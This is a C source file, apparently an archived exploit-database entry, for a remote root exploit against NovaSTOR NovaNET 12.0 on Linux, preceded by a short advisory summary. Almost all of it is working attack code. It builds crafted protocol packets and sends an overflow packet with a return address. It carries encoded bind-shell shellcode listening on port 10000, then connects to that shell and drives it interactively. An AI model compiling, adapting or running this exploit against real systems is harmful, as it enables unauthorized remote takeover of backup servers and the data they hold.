NovaSTOR NovaNET 12.0 - Remote Command Execution

/*
source: https://www.securityfocus.com/bid/39693/info
 
NovaStor NovaNET is prone to code-execution, denial-of-service, and information-disclosure vulnerabilities.
 
An attacker can exploit these issues to execute arbitrary code, access sensitive information, or crash the affected application, denying service to legitimate users. Successful attacks may result in the complete compromise of an affected computer.
 
NovaNET 11 and 12 are vulnerable to all of these issue; NovaBACKUP Network 13 is affected by a denial-of-service vulnerability.
*/

/* novanet-own-lnx.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * NovaSTOR NovaNET <= 12.0 remote root exploit
 * by mu-b - Tue Sep 25 2007
 *
 * - Tested on: NovaSTOR NovaNET 11.0 (lnx)
 *
 * Note: this was silently fixed in NovaBACKUP NETWORK 13.0
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>

#define NOVANET_POPRET        0x8048eea   /* pop %exx
                                           * ret
                                           */

/* packet structure defines */
#define NOVANET_HDR_SZ        0x14
#define NOVANET_PKT_SZ        0x92
#define NOVANET_DOMAIN_SZ     0x1F
#define NOVANET_BUF_SZ        0x400

#define PORT_SHELL            10000
#define NOVANET_TCP_PORT      3817
#define USLEEP_TIME           100000

static char getdomain_buf[] =
  "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00"
  "\xff\xff\xff\xff\x08\x40\x80\x00\x16\xaa\x11\x02\x4c\x84\xf4\x01"
  "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00" "digit-labs!$"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00" "Sup: Get Domain Address"
  "\x00\x00\xff\xff\x00\x00\x06\x10";

static char ack_buf[] =
  "\x51\x84\x00\x00\x00\x00\x00\x30"
  "\x05\x00\x00\x00"
  "\x18\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00"
  "\x01\x00\x00\x00";

static char hup_buf[] =
  "\x56\x84\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x14\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00";

static char login_buf[] =
  "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00"
  "\xff\xff\xff\xff\x09\x20\x80\x00\xcb\x14\x4C\x02\x41\xda\x2e\x02"
  "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
  "\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
  "\x69\x69\x69" "Dtb: Context"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\xff\xff\x00\x00\x00\x00";

static char rem_buf[] =
  "\x51\x84\x00\x00\x02\x02\x02\x32"
  "\x18\x00\x00\x00"
  "\x00\x00\x00\x00"  /* remaining length */
  "\x00\x00\x00\x00";

static char lnx_x86_bind[] =
  "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12"
  "\x76\xfc\x7d\x83\xeb\xfc\xe2\xf4\x23\xad\xaf\x3e\x41\x1c\xfe\x17"
  "\x74\x2e\x65\xf4\xf3\xbb\x7c\xeb\x51\x24\x9a\x15\x35\x66\x9a\x2e"
  "\x9b\x97\x96\x1b\x4a\x26\xad\x2b\x9b\x97\x31\xfd\xa2\x10\x2d\x9e"
  "\xdf\xf6\xae\x2f\x44\x35\x75\x9c\xa2\x10\x31\xfd\x81\x1c\xfe\x24"
  "\xa2\x49\x31\xfd\x5b\x0f\x05\xcd\x19\x24\x94\x52\x3d\x05\x94\x15"
  "\x3d\x14\x95\x13\x9b\x95\xae\x2e\x9b\x97\x31\xfd";

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      fprintf (stderr, "sock_send: send() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sock_recv (int fd, char *dst, int len)
{
  int n;
  if ((n = recv (fd, dst, len, 0)) < 0)
    {
      fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  return (n);
}

static void
shellami (int fd)
{
  int n;
  fd_set rset;
  char rbuf[1024], *cmd = "id; uname -a; uptime\n";

  sock_send (fd, cmd, strlen (cmd));

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fd, &rset);
      FD_SET (STDIN_FILENO, &rset);

      if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
        {
          fprintf (stderr, "shellami: select() - %s\n", strerror (errno));
          exit (EXIT_FAILURE);
        }

      if (FD_ISSET (fd, &rset))
        {
          if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
            {
              fprintf (stderr, "shellami: connection closed by foreign host.\n");
              exit (EXIT_SUCCESS);
            }
          rbuf[n] = '\0';
          printf ("%s", rbuf);
          fflush (stdout);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
            {
              rbuf[n] = '\0';
              sock_send (fd, rbuf, n);
            }
        }
    }
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      fprintf (stderr, "sockami: socket() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno));
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      fprintf (stderr, "sockami: connect() - %s\n", strerror (errno));
      return (-1);
    }

  return (fd);
}

static void
novanet_get_domain (char *thost, char *d_name)
{
  char rbuf_hdr[NOVANET_HDR_SZ], rbuf_pkt[NOVANET_PKT_SZ], *pkt_ptr;
  int fd, n, rlen;

  fd = sockami (thost, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_get_domain: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT);

  printf ("** sending getdomain_buf packet...");
  if ((n = sock_send (fd, getdomain_buf, sizeof getdomain_buf - 1)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading first reply...");
  if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  memcpy (d_name, &rbuf_pkt[0x54], NOVANET_DOMAIN_SZ);
  printf ("** remote domain address: %.*s\n", NOVANET_DOMAIN_SZ, d_name);

  printf ("** sending ack packet...");
  if ((n = sock_send (fd, ack_buf, sizeof ack_buf - 1)) != NOVANET_HDR_SZ + 4)
    {
      fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ + 4);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading second reply...");
  if ((n = sock_recv (fd, rbuf_hdr, sizeof rbuf_hdr)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  rlen  = *(unsigned int *) &rbuf_hdr[12];
  if (rlen < NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_get_domain: remaining length invalid (<%d)\n",
               NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }

  rlen -= NOVANET_HDR_SZ;
  printf ("** reading %d-remaining bytes...", rlen);
  pkt_ptr = malloc (rlen * sizeof (char));

  if ((n = sock_recv (fd, pkt_ptr, rlen)) != rlen)
    {
      fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n",
               n, rlen);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  free (pkt_ptr);

  printf ("** sending hup packet...");
  if ((n = sock_send (fd, hup_buf, sizeof hup_buf - 1)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n");

  usleep (USLEEP_TIME);
  close (fd);
}

static void
novanet_own_process (char *thost, char *d_name)
{
  char rbuf_pkt[NOVANET_PKT_SZ], *ptr;
  int fd, n, rlen;

  fd = sockami (thost, NOVANET_TCP_PORT);
  if (fd == -1)
    {
      fprintf (stderr, "novanet_own_process: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT);

  memcpy (&login_buf[0x54], d_name, NOVANET_DOMAIN_SZ);

  printf ("** sending login packet...");
  if ((n = sock_send (fd, login_buf, sizeof login_buf - 1)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** reading fourth packet...");
  if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_recv returned %d (!= %d)\n",
               n, NOVANET_PKT_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  rlen = 0x138 + 1;
  *(unsigned int *) &rem_buf[12] = rlen + NOVANET_HDR_SZ;

  printf ("** sending remaining %d-bytes packet...", rlen);
  if ((n = sock_send (fd, rem_buf, sizeof rem_buf - 1)) != NOVANET_HDR_SZ)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, NOVANET_HDR_SZ);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("** sending hammer packet...");

  ptr = malloc (rlen * sizeof (char));
  memset (ptr, 0x41, rlen);
  *(unsigned int *) &ptr[0x134] = NOVANET_POPRET;
  memcpy (&ptr[0], lnx_x86_bind, sizeof lnx_x86_bind - 1);
  ptr[rlen - 1] = '\0';

  if ((n = sock_send (fd, ptr, rlen)) != rlen)
    {
      fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n",
               n, rlen);
      exit (EXIT_FAILURE);
    }

  free (ptr);
  printf ("done\n\n");

  usleep (USLEEP_TIME);
  close (fd);

  printf ("* waiting for the shellcode to be executed...\n");
  sleep (2);
 
  if ((fd = sockami (thost, PORT_SHELL)) != -1)
    {
      printf ("+Wh00t!\n\n");
      shellami (fd);
    }
}

int
main (int argc, char **argv)
{
  char d_name[NOVANET_DOMAIN_SZ];

  printf ("NovaSTOR NovaNET <= 12.0 remote root exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  novanet_get_domain (argv[1], d_name);
  novanet_own_process (argv[1], d_name);

  return (EXIT_SUCCESS);
}